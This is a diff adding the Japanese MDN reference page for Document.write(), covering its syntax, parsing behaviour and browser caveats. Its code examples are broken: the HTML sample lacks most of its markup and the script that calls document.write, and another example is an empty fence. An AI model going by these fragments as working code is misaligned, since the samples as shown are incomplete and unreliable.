<li>{{domxref("element.innerHTML")}}</li> - <li>{{domxref("document.createElement()")}}</li> -</ul> diff --git a/files/ja/web/api/document/write/index.md b/files/ja/web/api/document/write/index.md new file mode 100644 index 00000000000000..7f03712aafd8f0 --- /dev/null +++ b/files/ja/web/api/document/write/index.md @@ -0,0 +1,92 @@ +--- +title: Document.write() +slug: Web/API/Document/write +tags: + - API + - DOM + - Document + - Method + - Reference + - write +translation_of: Web/API/Document/write +--- +{{ApiRef("DOM")}} + +**`Document.write()`** メソッドは、テキストの文字列を {{domxref("document.open()")}} で開かれた文書ストリームに書き込みます。 + +> **Note:** 注: `document.write()` は文書の**ストリーム**に書き込みを行うため、閉じられた (読み込み済みの) 文書で `document.write()` を呼び出すと、自動的に `document.open()` が呼び出され、[文書はクリアされます](/ja/docs/Web/API/document.open#Notes)。 + +## 構文 + +```js +document.write(markup); +``` + +### 引数 + +- _markup_ + - : 文書に書き込まれるテキストを含む文字列です。 + +### 例 + +```html +<html> + +<head> + <title>書き込み例 + + + + + +

元の文書コンテンツ。

+ + + +``` + +{{EmbedLiveSample("Syntax")}} + +## 注 + +出力したテキストは文書構造モデルにおいて構文解析されます。上記の例では、 `h1` 要素は文書中の一つのノードになります。 + +{{domxref("document.open()")}} を呼び出さずに読み込まれた文書へ書き込みを行うと、自動的に `document.open()` の呼び出しが実行されます。一度出力し終わったとき、ブラウザーにページの読み込みの終了を伝えるために、 {{domxref("document.close()")}} を呼び出すことが推奨されます。 + +`document.write()` の呼び出しがインラインの HTML の ` +``` + +> **Note:** `document.write()` および {{domxref("document.writeln")}} は、 [XHTML 文書では動作しません](/ja/docs/Archive/Web/Writing_JavaScript_for_HTML) (エラーコンソールに "Operation is not supported" \[`NS_ERROR_DOM_NOT_SUPPORTED_ERR`] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が `application/xhtml+xml` の {{Glossary("MIME type", "MIME タイプ")}}で提供されたときに発生します。詳細は [W3C XHTML FAQ](http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite) で確認することができます。 + +> **Note:** `document.write` は [deferred](/ja/docs/Web/HTML/Element/script#attr-defer) または [asynchronous](/ja/docs/Web/HTML/Element/script#attr-async) のスクリプト内では無視され、エラーコンソールに "A call to `document.write()` from an asynchronously-loaded external script was ignored" などのメッセージが表示されます。 + +> **Note:** Edge のみ、`document.write()` を {{HTMLElement("iframe")}} 内で複数回呼び出すと、 SCRIPT70: Permission denied エラーが発生します。 + +> **Note:** Chrome 55 からは、キャッシュされていない HTTP の場合、`document.write()` を通じて挿入された `